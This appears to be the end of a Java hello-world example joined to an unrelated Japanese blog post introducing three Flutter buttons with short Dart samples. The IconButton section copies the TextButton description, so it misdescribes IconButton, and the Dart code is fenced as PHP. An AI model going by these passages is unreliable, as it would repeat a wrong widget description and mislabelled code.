  public static void main(String[] args){
    System.out.print("Hello");
  }
}
```

```
$ javac hello.java 
$ ls -l
total 8
-rw-rw-r--. 1 opc opc 407 Sep 21 05:04 hello.class
-rw-rw-r--. 1 opc opc  99 Sep 21 04:58 hello.java
```

```
$ java hello
Hello
```
【flutter】よく使うボタン3選

こんにちわ！
今回は私がflutterでよく実装するボタンを3選紹介したいと思います！
最後まで見ていただけたら、嬉しいです！

## 1,ElevatedButton

このボタンは、マテリアルデザインのガイドラインに従ったスタイリッシュな外観を持ち、ユーザーの操作に応じて浮かび上がる（"Elevated"）エフェクトが付いています。通常、アクションを実行するためのボタンとして使用されます。

### 使用例
```php
ElevatedButton(
            onPressed: () {},
            child: Text("次のページ",
                style: TextStyle(
                    fontSize: 13,
                    fontWeight: FontWeight.w600,
                    color: Colors.white)),
            style: ElevatedButton.styleFrom(backgroundColor: Colors.green)
              )
```
![スクリーンショット 2023-09-21 12.29.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3524127/d5a1f71d-d9fb-b355-a7de-c9b6a311dbff.png)

## 2,TextButton
TextButton は、ボタンの外観がシンプルで、テキストラベルだけを持つボタンです。一般的に、ユーザーがボタンをタップすると特定のアクションが実行される場合に使用されます。

### 使用例
```php
TextButton(
          onPressed: () {},
          child: Text(
            "Next_page!",
            style: TextStyle(color: Colors.red)
          )
```
![スクリーンショット 2023-09-21 12.48.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3524127/ef8cfef3-ef46-5cf9-0a74-03e36036ce25.png)

## 3,IconButton
TextButton は、ボタンの外観がシンプルで、テキストラベルだけを持つボタンです。一般的に、ユーザーがボタンをタップすると特定のアクションが実行される場合に使用されます。

### 使用例
```php
IconButton(
              onPressed: () {},
              icon: Icon(Icons.directions_car),
              color: Colors.purple,
              iconSize: 50,
            ),
```
![スクリーンショット 2023-09-21 14.29.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3524127/45e8fd45-e3da-acb8-5b63-e76f90119ba0.png)


## 終わり
以上でよく使うボタン機能の紹介を終わります！
今回も最後まで見ていただきありがとうございました！
では、また次の記事で〜！